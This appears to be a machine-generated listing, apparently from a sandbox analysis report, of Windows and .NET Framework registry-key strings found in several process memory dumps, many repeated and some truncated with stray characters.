"SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHand" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandling" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHand0" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecomposit" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecompositions" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressPart" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressParsing" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressPar" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpat" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpansion" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpa" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxR" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxRecord" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificat" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificateEKUs" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityPro" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityProtocol" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full\" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00003744.00000002.82610.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00003744.00000002.82610.01F30000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00003744.00000002.82610.01F30000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\InstallationType" in Source: 00000000-00003744.00000002.82610.01F30000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00003744.00000002.82610.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v{0}" in Source: 00000000-00003744.00000002.82610.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\S" in Source: 00000000-00003744.00000002.82610.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00003744.00000002.82610.01F30000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00003744.00000002.82610.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling" in Source: 00000000-00003744.00000002.82610.01F30000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\InstallationType" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v{0}" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30h" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooP" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPoo0" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandli" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousC" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousClose" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHand" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandling" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecomposit" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecompositions" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecomposit`" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressPart" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressParsing" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressPar@" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpat" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpansion" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpaP" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxR" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxRecord" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxRd" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificat" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificateEKUs" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityPro" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityProtocol" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityProd" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full\" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" in Source: 00000000-00003744.00000003.83968.01F30000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\InstallationType" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v{0}" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePo" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooP" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPoox" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousC" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousClose" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHand" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandling" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecomposit" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecompositions" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressPart" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressParsing" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressPar" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpat" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpansion" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpa" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxR" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxRecord" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificat" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificateEKUs" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityPro" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityProtocol" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full\" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" in Source: 00000000-00004020.00000001.83957.01E10000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\InstallationType" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v{0}" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePo" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooP" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPoo\" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousC" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousClose" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHand" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandling" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecomposit" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecompositions" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressPart" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressParsing" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressParl" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpat" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpansion" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpa|" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxR" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxRecord" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificat" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificateEKUs" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityPro" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityProtocol" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full\" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" in Source: 00000000-00004056.00000001.86324.01EF0000.00000004.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00004128.00000000.89734.00821000.00000020.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\InstallationType" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v{0}" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHt" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPoop" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPoo" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousC" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousClose" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHand" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandling" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHand<" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecomposit" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecompositions" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressPart" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressParsing" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressPar" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpa" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpansion" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxR" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxRecord" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificat" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificateEKUs" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityPro" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityProtocol" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full\" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" in Source: 00000000-00004364.00000003.83778.01D00000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\InstallationType" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v{0}" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePo" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooP" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPoo" in Source: 